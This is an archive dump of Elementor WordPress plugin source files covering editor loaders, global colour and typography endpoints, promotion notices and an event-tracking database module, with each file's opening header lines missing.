core/editor/data/globals/endpoints/typography.php000064400000003123147206604650016251 0ustar00kits_manager->get_active_kit_for_frontend(); // Use raw settings that doesn't have default values. $kit_raw_settings = $kit->get_data( 'settings' ); if ( isset( $kit_raw_settings['system_typography'] ) ) { $system_items = $kit_raw_settings['system_typography']; } else { // Get default items, but without empty defaults. $control = $kit->get_controls( 'system_typography' ); $system_items = $control['default']; } $custom_items = $kit->get_settings( 'custom_typography' ); if ( ! $custom_items ) { $custom_items = []; } $items = array_merge( $system_items, $custom_items ); foreach ( $items as $index => &$item ) { foreach ( $item as $setting => $value ) { $new_setting = str_replace( 'styles_', '', $setting, $count ); if ( $count ) { $item[ $new_setting ] = $value; unset( $item[ $setting ] ); } } $id = $item['_id']; $result[ $id ] = [ 'title' => $item['title'], 'id' => $id, ]; unset( $item['_id'], $item['title'] ); $result[ $id ]['value'] = $item; } return $result; } protected function convert_db_format( $item ) { $db_format = [ '_id' => $item['id'], 'title' => $item['title'], ]; $db_format = array_merge( $item['value'], $db_format ); return $db_format; } } core/editor/data/globals/endpoints/colors.php000064400000001777147206604650015361 0ustar00kits_manager->get_active_kit_for_frontend(); $system_items = $kit->get_settings_for_display( 'system_colors' ); $custom_items = $kit->get_settings_for_display( 'custom_colors' ); if ( ! $system_items ) { $system_items = []; } if ( ! $custom_items ) { $custom_items = []; } $items = array_merge( $system_items, $custom_items ); foreach ( $items as $index => $item ) { $id = $item['_id']; $result[ $id ] = [ 'id' => $id, 'title' => $item['title'], 'value' => $item['color'], ]; } return $result; } protected function convert_db_format( $item ) { return [ '_id' => $item['id'], 'title' => $item['title'], 'color' => $item['value'], ]; } } core/editor/data/globals/controller.php000064400000002023147206604650014221 0ustar00register_endpoint( new Endpoints\Colors( $this ) ); $this->register_endpoint( new Endpoints\Typography( $this ) ); } public function get_collection_params() { // Does not have 'get_items' args (OPTIONS). // Maybe TODO: try `$this->get_index_endpoint()->get_collection_params()`. return []; } public function get_permission_callback( $request ) { // Allow internal get global values. (e.g render global.css for a visitor) if ( 'GET' === $request->get_method() && Plugin::$instance->data_manager_v2->is_internal() ) { return true; } return current_user_can( 'edit_posts' ); } protected function register_index_endpoint() { $this->register_endpoint( new Endpoint\Index\AllChildren( $this ) ); } } core/editor/promotion.php000064400000002711147206604650011534 0ustar00get_promotion_data(), 'elementor/editor/promotion/get_elements_promotion', 'action_button', 'url' ); } /** * @return array */ private function get_action_button_content(): array { $has_pro = Utils::has_pro(); return $has_pro ? [ 'text' => __( 'Connect & Activate', 'elementor' ), 'url' => admin_url( 'admin.php?page=elementor-license' ), ] : [ 'text' => __( 'Upgrade Now', 'elementor' ), 'url' => 'https://go.elementor.com/go-pro-%s', ]; } /** * @return string */ private function get_promotion_url(): string { return Utils::has_pro() ? admin_url( 'admin.php?page=elementor-license' ) : 'https://go.elementor.com/go-pro-%s'; } /** * @return array */ private function get_promotion_data(): array { return [ /* translators: %s: Widget title. */ 'title' => __( '%s Widget', 'elementor' ), /* translators: %s: Widget title. */ 'content' => __( 'Use %s widget and dozens more pro features to extend your toolbox and build sites faster and better.', 'elementor' ), 'action_button' => $this->get_action_button_content(), ]; } } core/editor/loader/editor-base-loader.php000064400000013200147206604650014411 0ustar00config = $config; $this->assets_config_provider = $assets_config_provider; } /** * @return void */ public function register_scripts() { $assets_url = $this->config->get( 'assets_url' ); $min_suffix = $this->config->get( 'min_suffix' ); wp_register_script( 'elementor-editor-modules', "{$assets_url}js/editor-modules{$min_suffix}.js", [ 'elementor-common-modules' ], ELEMENTOR_VERSION, true ); wp_register_script( 'elementor-editor-document', "{$assets_url}js/editor-document{$min_suffix}.js", [ 'elementor-common-modules' ], ELEMENTOR_VERSION, true ); wp_register_script( 'perfect-scrollbar', "{$assets_url}lib/perfect-scrollbar/js/perfect-scrollbar{$min_suffix}.js", [], '1.4.0', true ); wp_register_script( 'jquery-easing', "{$assets_url}lib/jquery-easing/jquery-easing{$min_suffix}.js", [ 'jquery' ], '1.3.2', true ); wp_register_script( 'nprogress', "{$assets_url}lib/nprogress/nprogress{$min_suffix}.js", [], '0.2.0', true ); wp_register_script( 'tipsy', "{$assets_url}lib/tipsy/tipsy{$min_suffix}.js", [ 'jquery' ], '1.0.0', true ); wp_register_script( 'jquery-elementor-select2', "{$assets_url}lib/e-select2/js/e-select2.full{$min_suffix}.js", [ 'jquery' ], '4.0.6-rc.1', true ); wp_register_script( 'flatpickr', "{$assets_url}lib/flatpickr/flatpickr{$min_suffix}.js", [ 'jquery' ], '4.6.13', true ); wp_register_script( 'ace', 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.5/ace.js', [], '1.2.5', true ); wp_register_script( 'ace-language-tools', 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.5/ext-language_tools.js', [ 'ace' ], '1.2.5', true ); wp_register_script( 'jquery-hover-intent', "{$assets_url}lib/jquery-hover-intent/jquery-hover-intent{$min_suffix}.js", [], '1.0.0', true ); wp_register_script( 'nouislider', "{$assets_url}lib/nouislider/nouislider{$min_suffix}.js", [], '13.0.0', true ); wp_register_script( 'pickr', "{$assets_url}lib/pickr/pickr.min.js", [], '1.8.2', true ); wp_register_script( 'elementor-editor', "{$assets_url}js/editor{$min_suffix}.js", [ 'elementor-common', 'elementor-editor-modules', 'elementor-editor-document', 'wp-auth-check', 'jquery-ui-sortable', 'jquery-ui-resizable', 'perfect-scrollbar', 'nprogress', 'tipsy', 'imagesloaded', 'heartbeat', 'jquery-elementor-select2', 'flatpickr', 'ace', 'ace-language-tools', 'jquery-hover-intent', 'nouislider', 'pickr', 'react', 'react-dom', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-editor', 'elementor' ); wp_register_script( 'elementor-responsive-bar', "{$assets_url}js/responsive-bar{$min_suffix}.js", [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-responsive-bar', 'elementor' ); } /** * @return void */ public function enqueue_scripts() { wp_enqueue_script( 'elementor-responsive-bar' ); } /** * @return void */ public function register_styles() { $assets_url = $this->config->get( 'assets_url' ); $min_suffix = $this->config->get( 'min_suffix' ); $direction_suffix = $this->config->get( 'direction_suffix' ); wp_register_style( 'font-awesome', "{$assets_url}lib/font-awesome/css/font-awesome{$min_suffix}.css", [], '4.7.0' ); wp_register_style( 'elementor-select2', "{$assets_url}lib/e-select2/css/e-select2{$min_suffix}.css", [], '4.0.6-rc.1' ); wp_register_style( 'google-font-roboto', 'https://fonts.googleapis.com/css?family=Roboto:300,400,500,700', [], ELEMENTOR_VERSION ); wp_register_style( 'flatpickr', "{$assets_url}lib/flatpickr/flatpickr{$min_suffix}.css", [], '4.6.13' ); wp_register_style( 'pickr', "{$assets_url}lib/pickr/themes/monolith.min.css", [], '1.8.2' ); wp_register_style( 'elementor-editor', "{$assets_url}css/editor{$direction_suffix}{$min_suffix}.css", [ 'elementor-common', 'elementor-select2', 'elementor-icons', 'wp-auth-check', 'google-font-roboto', 'flatpickr', 'pickr', ], ELEMENTOR_VERSION ); wp_register_style( 'elementor-responsive-bar', "{$assets_url}css/responsive-bar{$min_suffix}.css", [], ELEMENTOR_VERSION ); } /** * @return void */ public function enqueue_styles() { wp_enqueue_style( 'elementor-editor' ); wp_enqueue_style( 'elementor-responsive-bar' ); } /** * @return void */ public function register_additional_templates() { $templates = [ 'global', 'panel', 'panel-elements', 'repeater', 'templates', 'navigator', 'hotkeys', 'responsive-bar', ]; $templates = apply_filters( 'elementor/editor/templates', $templates ); foreach ( $templates as $template ) { Plugin::$instance->common->add_template( ELEMENTOR_PATH . "includes/editor-templates/{$template}.php" ); } } } core/editor/loader/common/editor-common-scripts-settings.php000064400000016552147206604650020353 0ustar00documents->get_doc_or_auto_save( Plugin::$instance->editor->get_post_id() ); $kits_manager = Plugin::$instance->kits_manager; $page_title_selector = $kits_manager->get_current_settings( 'page_title_selector' ); $page_title_selector .= ', .elementor-page-title .elementor-heading-title'; $client_env = [ 'initial_document' => $document->get_config(), 'version' => ELEMENTOR_VERSION, 'home_url' => home_url(), 'admin_settings_url' => admin_url( 'admin.php?page=' . Home_Module::get_elementor_settings_page_id() ), 'admin_tools_url' => admin_url( 'admin.php?page=' . Tools::PAGE_ID ), 'admin_apps_url' => admin_url( 'admin.php?page=' . AppsModule::PAGE_ID ), 'autosave_interval' => AUTOSAVE_INTERVAL, 'tabs' => Plugin::$instance->controls_manager->get_tabs(), 'controls' => Plugin::$instance->controls_manager->get_controls_data(), 'elements' => Plugin::$instance->elements_manager->get_element_types_config(), 'globals' => [ 'defaults_enabled' => [ 'colors' => $kits_manager->is_custom_colors_enabled(), 'typography' => $kits_manager->is_custom_typography_enabled(), ], ], 'icons' => [ 'libraries' => Icons_Manager::get_icon_manager_tabs_config(), 'goProURL' => 'https://go.elementor.com/go-pro-icon-library/', ], 'fa4_to_fa5_mapping_url' => ELEMENTOR_ASSETS_URL . 'lib/font-awesome/migration/mapping.js', 'settings' => $settings, 'wp_editor' => static::get_wp_editor_config(), 'settings_page_link' => Settings::get_url(), 'tools_page_link' => Tools::get_url(), 'tools_page_nonce' => wp_create_nonce( 'tools-page-from-editor' ), 'elementor_site' => 'https://go.elementor.com/about-elementor/', 'docs_elementor_site' => 'https://go.elementor.com/docs/', 'help_the_content_url' => 'https://go.elementor.com/the-content-missing/', 'help_flexbox_bc_url' => 'https://go.elementor.com/flexbox-layout-bc/', 'elementPromotionURL' => 'https://go.elementor.com/go-pro-%s', 'dynamicPromotionURL' => 'https://go.elementor.com/go-pro-dynamic-tag', 'additional_shapes' => Shapes::get_additional_shapes_for_config(), 'user' => [ 'restrictions' => Plugin::$instance->role_manager->get_user_restrictions_array(), 'is_administrator' => current_user_can( 'manage_options' ), 'introduction' => User::get_introduction_meta(), 'dismissed_editor_notices' => User::get_dismissed_editor_notices(), 'locale' => get_user_locale(), ], 'preview' => [ 'help_preview_error_url' => 'https://go.elementor.com/preview-not-loaded/', 'help_preview_http_error_url' => 'https://go.elementor.com/preview-not-loaded/#permissions', 'help_preview_http_error_500_url' => 'https://go.elementor.com/500-error/', 'debug_data' => Loading_Inspection_Manager::instance()->run_inspections(), ], 'locale' => get_locale(), 'rich_editing_enabled' => filter_var( get_user_meta( get_current_user_id(), 'rich_editing', true ), FILTER_VALIDATE_BOOLEAN ), 'page_title_selector' => $page_title_selector, 'tinymceHasCustomConfig' => class_exists( 'Tinymce_Advanced' ) || class_exists( 'Advanced_Editor_Tools' ), 'inlineEditing' => Plugin::$instance->widgets_manager->get_inline_editing_config(), 'dynamicTags' => Plugin::$instance->dynamic_tags->get_config(), 'ui' => [ 'defaultGenericFonts' => $kits_manager->get_current_settings( 'default_generic_fonts' ), ], // Empty array for BC to avoid errors. 'i18n' => [], // 'responsive' contains the custom breakpoints config introduced in Elementor v3.2.0 'responsive' => [ 'breakpoints' => Plugin::$instance->breakpoints->get_breakpoints_config(), 'icons_map' => Plugin::$instance->breakpoints->get_responsive_icons_classes_map(), ], 'promotion' => [ 'elements' => Plugin::$instance->editor->promotion->get_elements_promotion(), ], 'editor_events' => EditorEventsModule::get_editor_events_config(), 'promotions' => [ 'notes' => Filtered_Promotions_Manager::get_filtered_promotion_data( [ 'upgrade_url' => 'https://go.elementor.com/go-pro-notes/' ], 'elementor/panel/notes/custom_promotion', 'upgrade_url' ), ], 'fontVariableRanges' => Group_Control_Typography::get_font_variable_ranges(), ]; if ( ! Utils::has_pro() && current_user_can( 'manage_options' ) ) { $client_env['promotionWidgets'] = Api::get_promotion_widgets(); } if ( Plugin::$instance->experiments->is_feature_active( 'container_grid' ) ) { $client_env['elementsPresets'] = Plugin::$instance->editor->get_elements_presets(); } static::bc_move_document_filters(); /** * Localize editor settings. * * Filters the editor localized settings. * * @since 1.0.0 * * @param array $client_env Editor configuration. * @param int $post_id The ID of the current post being edited. */ return apply_filters( 'elementor/editor/localize_settings', $client_env ); } private static function bc_move_document_filters() { global $wp_filter; $old_tag = 'elementor/editor/localize_settings'; $new_tag = 'elementor/document/config'; if ( ! has_filter( $old_tag ) ) { return; } foreach ( $wp_filter[ $old_tag ] as $priority => $filters ) { foreach ( $filters as $filter_id => $filter_args ) { if ( 2 === $filter_args['accepted_args'] ) { remove_filter( $old_tag, $filter_id, $priority ); add_filter( $new_tag, $filter_args['function'], $priority, 2 ); } } } } /** * Get WordPress editor config. * * Config the default WordPress editor with custom settings for Elementor use. * * @since 1.9.0 * @access private */ private static function get_wp_editor_config() { // Remove all TinyMCE plugins. remove_all_filters( 'mce_buttons', 10 ); remove_all_filters( 'mce_external_plugins', 10 ); if ( ! class_exists( '\_WP_Editors', false ) ) { require ABSPATH . WPINC . '/class-wp-editor.php'; } // WordPress 4.8 and higher if ( method_exists( '\_WP_Editors', 'print_tinymce_scripts' ) ) { \_WP_Editors::print_default_editor_scripts(); \_WP_Editors::print_tinymce_scripts(); } ob_start(); wp_editor( '%%EDITORCONTENT%%', 'elementorwpeditor', [ 'editor_class' => 'elementor-wp-editor', 'editor_height' => 250, 'drag_drop_upload' => true, ] ); $config = ob_get_clean(); // Don't call \_WP_Editors methods again remove_action( 'admin_print_footer_scripts', [ '_WP_Editors', 'editor_js' ], 50 ); remove_action( 'admin_print_footer_scripts', [ '_WP_Editors', 'print_default_editor_scripts' ], 45 ); \_WP_Editors::editor_js(); return $config; } } core/editor/loader/v1/templates/editor-body-v1.view.php000064400000003102147206604650017011 0ustar00editor->notice_bar->get_notice(); ?>

render(); } // IFrame will be created here by the Javascript later. ?>
core/editor/loader/v1/editor-v1-loader.php000064400000004073147206604650014363 0ustar00assets_config_provider->load( $package ); } } /** * @return void */ public function register_scripts() { parent::register_scripts(); $assets_url = $this->config->get( 'assets_url' ); $min_suffix = $this->config->get( 'min_suffix' ); foreach ( $this->assets_config_provider->all() as $package => $config ) { wp_register_script( $config['handle'], "{$assets_url}js/packages/{$package}/{$package}{$min_suffix}.js", $config['deps'], ELEMENTOR_VERSION, true ); } wp_register_script( 'elementor-editor-loader-v1', "{$assets_url}js/editor-loader-v1{$min_suffix}.js", [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); } /** * @return void */ public function enqueue_scripts() { parent::enqueue_scripts(); // Must be last. wp_enqueue_script( 'elementor-editor-loader-v1' ); Utils::print_js_config( 'elementor-editor', 'ElementorConfig', Editor_Common_Scripts_Settings::get() ); } /** * @return void */ public function print_root_template() { // Exposing the path for the view part to render the body of the editor template. $body_file_path = __DIR__ . '/templates/editor-body-v1.view.php'; include ELEMENTOR_PATH . 'includes/editor-templates/editor-wrapper.php'; } /** * @return void */ public function register_additional_templates() { parent::register_additional_templates(); Plugin::$instance->common->add_template( ELEMENTOR_PATH . 'includes/editor-templates/responsive-bar.php' ); } } core/editor/loader/v1/js/editor-loader-v1.js000064400000000032147206604650014613 0ustar00window.elementor.start(); core/editor/loader/editor-loader-factory.php000064400000002450147206604650015153 0ustar00 ELEMENTOR_ASSETS_URL, 'min_suffix' => ( Utils::is_script_debug() || Utils::is_elementor_tests() ) ? '' : '.min', 'direction_suffix' => is_rtl() ? '-rtl' : '', ] ); $assets_config_provider = ( new Assets_Config_Provider() ) ->set_path_resolver( function ( $name ) { return ELEMENTOR_ASSETS_PATH . "js/packages/{$name}/{$name}.asset.php"; } ); if ( static::should_use_v2_loader() ) { return new Editor_V2_Loader( $config, $assets_config_provider ); } return new Editor_V1_Loader( $config, $assets_config_provider ); } /** * If there are v2 packages enqueued, we should use the V2 loader. * * @return bool */ private static function should_use_v2_loader() { return ! empty( Editor_V2_Loader::get_packages_to_enqueue() ); } } core/editor/loader/v2/scss/editor-v2-app-bar-overrides.scss000064400000002142147206604650017573 0ustar00/** * Here should be only styles that related to the Editor v1, and should be overridden when using the Editor v2. */ body { --editor-v2-top-bar-height: 48px; } #elementor-editor-wrapper { height: calc(100vh - var(--editor-v2-top-bar-height)); } body.elementor-navigator-docked #elementor-navigator { height: calc(100% - var(--editor-v2-top-bar-height)); top: var(--editor-v2-top-bar-height); } .elementor-panel #elementor-panel-header-menu-button, .elementor-panel #elementor-panel-header-add-button, .elementor-panel #elementor-panel-footer { display: none; } .elementor-panel #elementor-panel-header { font-weight: 700; background-color: var( --e-a-bg-default ); color: var( --e-a-color-txt-accent ); border-block-end: var( --e-a-border ); height: 48px; } // Make the MCE full-screen work properly with the top bar. .elementor-control-type-wysiwyg .mce-fullscreen { inset: var(--editor-v2-top-bar-height) 0 0 0; & > .mce-container-body { display: flex; flex-direction: column; height: 100%; & > .mce-edit-area { flex-grow: 1; & > iframe { height: 100% !important; } } } } core/editor/loader/v2/templates/editor-body-v2.view.php000064400000003160147206604650017017 0ustar00editor->notice_bar->get_notice(); ?>

render(); } // IFrame will be created here by the Javascript later. ?>
core/editor/loader/v2/editor-v2-loader.php000064400000011646147206604650014371 0ustar00 [ 'elementor-web-cli', ], 'wp-media' => [ 'media-models', ], ]; /** * @return void */ public function init() { $packages = array_merge( $this->get_packages_to_enqueue(), self::LIBS ); $packages_with_app = array_merge( $packages, [ self::APP_PACKAGE ] ); foreach ( $packages_with_app as $package ) { $this->assets_config_provider->load( $package ); } do_action( 'elementor/editor/v2/init' ); } /** * @return void */ public function register_scripts() { parent::register_scripts(); $assets_url = $this->config->get( 'assets_url' ); $min_suffix = $this->config->get( 'min_suffix' ); foreach ( $this->assets_config_provider->all() as $package => $config ) { if ( self::ENV_PACKAGE === $package ) { wp_register_script( 'elementor-editor-environment-v2', "{$assets_url}js/editor-environment-v2{$min_suffix}.js", [ $config['handle'] ], ELEMENTOR_VERSION, true ); } if ( static::APP_PACKAGE === $package ) { wp_register_script( 'elementor-editor-loader-v2', "{$assets_url}js/editor-loader-v2{$min_suffix}.js", [ 'elementor-editor', $config['handle'] ], ELEMENTOR_VERSION, true ); } $additional_deps = self::ADDITIONAL_DEPS[ $package ] ?? []; $deps = array_merge( $config['deps'], $additional_deps ); wp_register_script( $config['handle'], "{$assets_url}js/packages/{$package}/{$package}{$min_suffix}.js", $deps, ELEMENTOR_VERSION, true ); } $packages_handles = $this->assets_config_provider->pluck( 'handle' )->all(); Assets_Translation_Loader::for_handles( $packages_handles, 'elementor' ); do_action( 'elementor/editor/v2/scripts/register' ); } /** * @return void */ public function enqueue_scripts() { do_action( 'elementor/editor/v2/scripts/enqueue/before' ); parent::enqueue_scripts(); wp_enqueue_script( 'elementor-editor-environment-v2' ); $env_config = $this->assets_config_provider->get( self::ENV_PACKAGE ); if ( $env_config ) { $client_env = apply_filters( 'elementor/editor/v2/scripts/env', [] ); Utils::print_js_config( $env_config['handle'], 'elementorEditorV2Env', $client_env ); } $packages_with_app = array_merge( $this->get_packages_to_enqueue(), [ self::APP_PACKAGE ] ); foreach ( $this->assets_config_provider->only( $packages_with_app ) as $config ) { wp_enqueue_script( $config['handle'] ); } do_action( 'elementor/editor/v2/scripts/enqueue' ); Utils::print_js_config( 'elementor-editor', 'ElementorConfig', Editor_Common_Scripts_Settings::get() ); // Must be last. wp_enqueue_script( 'elementor-editor-loader-v2' ); do_action( 'elementor/editor/v2/scripts/enqueue/after' ); } /** * @return void */ public function register_styles() { parent::register_styles(); $assets_url = $this->config->get( 'assets_url' ); $min_suffix = $this->config->get( 'min_suffix' ); foreach ( $this->get_styles() as $style ) { wp_register_style( "elementor-{$style}", "{$assets_url}css/{$style}{$min_suffix}.css", [ 'elementor-editor' ], ELEMENTOR_VERSION ); } do_action( 'elementor/editor/v2/styles/register' ); } /** * @return void */ public function enqueue_styles() { parent::enqueue_styles(); foreach ( $this->get_styles() as $style ) { wp_enqueue_style( "elementor-{$style}" ); } do_action( 'elementor/editor/v2/styles/enqueue' ); } /** * @return void */ public function print_root_template() { // Exposing the path for the view part to render the body of the editor template. $body_file_path = __DIR__ . '/templates/editor-body-v2.view.php'; include ELEMENTOR_PATH . 'includes/editor-templates/editor-wrapper.php'; } public static function get_packages_to_enqueue() : array { return apply_filters( 'elementor/editor/v2/packages', [] ); } private function get_styles() : array { $styles = apply_filters( 'elementor/editor/v2/styles', [] ); return Collection::make( $styles ) ->unique() ->all(); } } core/editor/loader/v2/js/editor-environment-v2.js000064400000000251147206604650015716 0ustar00if ( ! window.elementorV2?.env ) { throw new Error( 'The "@elementor/env" package was not loaded.' ); } window.elementorV2.env.initEnv( window.elementorEditorV2Env ); core/editor/loader/v2/js/editor-loader-v2.js000064400000000625147206604650014625 0ustar00window.__elementorEditorV1LoadingPromise = new Promise( ( resolve ) => { window.addEventListener( 'elementor/init', () => { resolve(); }, { once: true } ); } ); window.elementor.start(); if ( ! window.elementorV2?.editor ) { throw new Error( 'The "@elementor/editor" package was not loaded.' ); } window.elementorV2 .editor .init( document.getElementById( 'elementor-editor-wrapper-v2' ), ); core/editor/loader/editor-loader-interface.php000064400000002162147206604650015444 0ustar00get_install_time() > strtotime( '-1 days' ) ) { return []; } $upgrade_url = 'https://go.elementor.com/go-pro-editor-notice-bar/'; $config = [ 'description' => $this->get_description(), 'upgrade_text' => $this->get_upgrade_text(), 'upgrade_url' => $upgrade_url, ]; $config = Filtered_Promotions_Manager::get_filtered_promotion_data( $config, 'elementor/notice-bar/custom_promotion', 'upgrade_url' ); return [ 'muted_period' => 14, 'option_key' => '_elementor_editor_upgrade_notice_dismissed', 'message' => $config['description'] ?? $this->get_description(), 'action_title' => $config['upgrade_text'] ?? $this->get_upgrade_text(), 'action_url' => $config['upgrade_url'] ?? $upgrade_url, ]; } public function get_upgrade_text() { return esc_html__( 'Upgrade Now', 'elementor' ); } public function get_description() { return esc_html__( 'Unleash the full power of Elementor\'s features and web creation tools.', 'elementor' ); } final public function get_notice() { if ( ! $this->has_access_to_notice() ) { return null; } $settings = $this->get_settings(); if ( empty( $settings['option_key'] ) ) { return null; } $dismissed_time = get_option( $settings['option_key'] ); if ( $dismissed_time ) { if ( $dismissed_time > strtotime( '-' . $settings['muted_period'] . ' days' ) ) { return null; } $this->set_notice_dismissed(); } return $this; } protected function render_action( $type ) { $settings = $this->get_settings(); // TODO: Make the API better. The bad naming is because of BC. $prefix_map = [ 'primary' => '', 'secondary' => 'secondary_', ]; $prefix = $prefix_map[ $type ]; $action_title = "{$prefix}action_title"; $action_url = "{$prefix}action_url"; $action_message = "{$prefix}message"; $action_target = "{$prefix}action_target"; if ( empty( $settings[ $action_title ] ) || empty( $settings[ $action_url ] ) || empty( $settings[ $action_message ] ) ) { return; } ?>
">
">
get_settings(); $icon = empty( $settings['icon'] ) ? 'eicon-elementor-square' : esc_attr( $settings['icon'] ); ?>
render_action( 'primary' ); $this->render_action( 'secondary' ); ?>
has_access_to_notice() ) { throw new \Exception( 'Access denied' ); } update_option( $this->get_settings( 'option_key' ), time() ); } public function register_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'notice_bar_dismiss', [ $this, 'set_notice_dismissed' ] ); } private function has_access_to_notice() { return current_user_can( 'manage_options' ); } } core/common/modules/event-tracker/module.php000064400000001642147206604650015221 0ustar00 Tracker::is_allow_track(), ]; } public function __construct() { // Initialize Events Database Table $this->add_component( 'events-db', new DB() ); // Handle User Data Deletion/Export requests. new Personal_Data(); Plugin::$instance->data_manager_v2->register_controller( new Controller() ); } } core/common/modules/event-tracker/data/controller.php000064400000003513147206604650017027 0ustar00index_endpoint->register_items_route( \WP_REST_Server::CREATABLE, [ 'event_data' => [ 'description' => 'All the recorded event data in JSON format', 'type' => 'object', 'required' => true, ], ] ); } /** * Get Permissions Callback * * This endpoint should only accept POST requests, and currently we only track site administrator actions. * * @since 3.6.0 * * @param \WP_REST_Request $request * @return bool */ public function get_permission_callback( $request ) { if ( WP_REST_Server::CREATABLE !== $request->get_method() ) { return false; } return current_user_can( 'manage_options' ); } /** * Create Items * * Receives a request for adding an event data entry into the database. If the request contains event data, this * method initiates creation of a database entry with the event data in the Events DB table. * * @since 3.6.0 * * @param \WP_REST_Request $request * @return bool */ public function create_items( $request ) { $request_body = $request->get_json_params(); if ( empty( $request_body['event_data'] ) ) { return false; } /** @var Events_DB_Manager $event_tracker_db_manager */ $event_tracker_db_manager = Plugin::$instance->common ->get_component( 'event-tracker' ) ->get_component( 'events-db' ); $event_tracker_db_manager->create_entry( $request_body['event_data'] ); return true; } } core/common/modules/event-tracker/db.php000064400000011405147206604650014317 0ustar00wpdb->prefix . self::TABLE_NAME; } /** * Prepare Database for Entry * * The events database should have a limit of up to 1000 event entries stored daily. * Before adding a new entry to the database, we make sure that the limit of 1000 events is not reached. * If there are 1000 or more entries in the DB, we delete the earliest-inserted entry before inserting a new one. * * @since 3.6.0 */ public function prepare_db_for_entry() { $events = $this->get_event_ids_from_db(); if ( 1000 <= count( $events ) ) { $event_ids = []; foreach ( $events as $event ) { $event_ids[] = $event->id; } // Sort the array by entry ID array_multisort( $event_ids, SORT_ASC, $events ); // Delete the smallest ID (which is the earliest DB entry) $this->wpdb->delete( $this->get_table_name(), [ 'ID' => $events[0]->id ] ); } } /** * Create Entry * * Adds an event entry to the database. * * @since 3.6.0 */ public function create_entry( $event_data ) { $this->prepare_db_for_entry(); $connect = Plugin::$instance->common->get_component( 'connect' ); /** @var Library $library */ $library = $connect->get_apps()['library']; if ( ! isset( $event_data['details'] ) ) { $event_data['details'] = []; } if ( $library->is_connected() ) { $user_connect_data = get_user_option( Common_App::OPTION_CONNECT_COMMON_DATA_KEY ); // Add the user's client ID to the event. $event_data['details']['client_id'] = $user_connect_data['client_id']; } $event_data['details'] = json_encode( $event_data['details'] ); $entry = [ 'event_data' => wp_json_encode( $event_data ), 'created_at' => $event_data['ts'], ]; $this->wpdb->insert( $this->get_table_name(), $entry ); } /** * Get Event IDs From DB * * Fetches the IDs of all events saved in the database. * * @since 3.6.0 * * @return array|object|null */ public function get_event_ids_from_db() { // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared return $this->wpdb->get_results( "SELECT id FROM {$this->get_table_name()}" ); } /** * Reset Table * * Empties the contents of the Events DB table. * * @since 3.6.0 */ public static function reset_table() { global $wpdb; $table_name = $wpdb->prefix . self::TABLE_NAME; // Delete all content of the table. // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "TRUNCATE TABLE {$table_name}" ); } /** * Create Table * * Creates the `wp_e_events` database table. * * @since 3.6.0 * * @param string $query to that looks for the Events table in the DB. Used for checking if table was created. */ private function create_table( $query ) { require_once ABSPATH . 'wp-admin/includes/upgrade.php'; $table_name = $this->get_table_name(); $charset_collate = $this->wpdb->get_charset_collate(); $e_events_table = "CREATE TABLE `{$table_name}` ( id bigint(20) unsigned auto_increment primary key, event_data text null, created_at datetime not null ) {$charset_collate};"; // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared $this->wpdb->query( $e_events_table ); // Check if table was created successfully. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared if ( $this->wpdb->get_var( $query ) === $table_name ) { update_option( self::DB_VERSION_OPTION_KEY, self::CURRENT_DB_VERSION, false ); } } /** * Add Indexes * * Adds an index to the events table for the creation date column. * * @since 3.6.0 */ private function add_indexes() { // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $this->wpdb->query( 'ALTER TABLE ' . $this->get_table_name() . ' ADD INDEX `created_at_index` (`created_at`) ' ); } public function __construct() { global $wpdb; $this->wpdb = $wpdb; // Check if table exists. If not, create it. $query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $this->get_table_name() ) ); // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared if ( $wpdb->get_var( $query ) !== $this->get_table_name() ) { $this->create_table( $query ); $this->add_indexes(); } } } core/common/modules/event-tracker/personal-data.php000064400000003711147206604650016465 0ustar00common ->get_component( 'event-tracker' ) ->get_component( 'events-db' ); $events = $event_tracker_db_manager->get_event_ids_from_db(); $events_count = count( $events ); DB::reset_table(); // Validate table deleted $updated_events = $event_tracker_db_manager->get_event_ids_from_db(); $updated_events_count = count( $updated_events ); return [ 'items_removed' => $events_count - $updated_events_count, 'items_retained' => 0, 'messages' => [], 'done' => 0 === $updated_events_count, ]; } /** * Add eraser to the list of erasers. * * @param $erasers * * @return array[] */ private function add_eraser( $erasers ) { return $erasers + [ self::WP_KEY => [ 'eraser_friendly_name' => $this->get_title(), 'callback' => function () { return $this->erase_data(); }, ], ]; } /** * Personal_Data constructor. */ public function __construct() { add_filter( 'wp_privacy_personal_data_erasers', function ( $exporters ) { return $this->add_eraser( $exporters ); } ); } } core/common/modules/ajax/module.php000064400000016235147206604650013376 0ustar00ajax_actions[ $tag ] = compact( 'tag', 'callback' ); } /** * Handle ajax request. * * Verify ajax nonce, and run all the registered actions for this request. * * Fired by `wp_ajax_elementor_ajax` action. * * @since 2.0.0 * @access public */ public function handle_ajax_request() { if ( ! $this->verify_request_nonce() ) { $this->add_response_data( false, esc_html__( 'Token Expired.', 'elementor' ) ) ->send_error( Exceptions::UNAUTHORIZED ); } $editor_post_id = 0; if ( ! empty( $_REQUEST['editor_post_id'] ) ) { $editor_post_id = absint( $_REQUEST['editor_post_id'] ); Plugin::$instance->db->switch_to_post( $editor_post_id ); } /** * Register ajax actions. * * Fires when an ajax request is received and verified. * * Used to register new ajax action handles. * * @since 2.0.0 * * @param self $this An instance of ajax manager. */ do_action( 'elementor/ajax/register_actions', $this ); if ( ! empty( $_REQUEST['actions'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, each action should sanitize its own data. $this->requests = json_decode( wp_unslash( $_REQUEST['actions'] ), true ); } foreach ( $this->requests as $id => $action_data ) { $this->current_action_id = $id; if ( ! isset( $this->ajax_actions[ $action_data['action'] ] ) ) { $this->add_response_data( false, esc_html__( 'Action not found.', 'elementor' ), Exceptions::BAD_REQUEST ); continue; } if ( $editor_post_id ) { $action_data['data']['editor_post_id'] = $editor_post_id; } 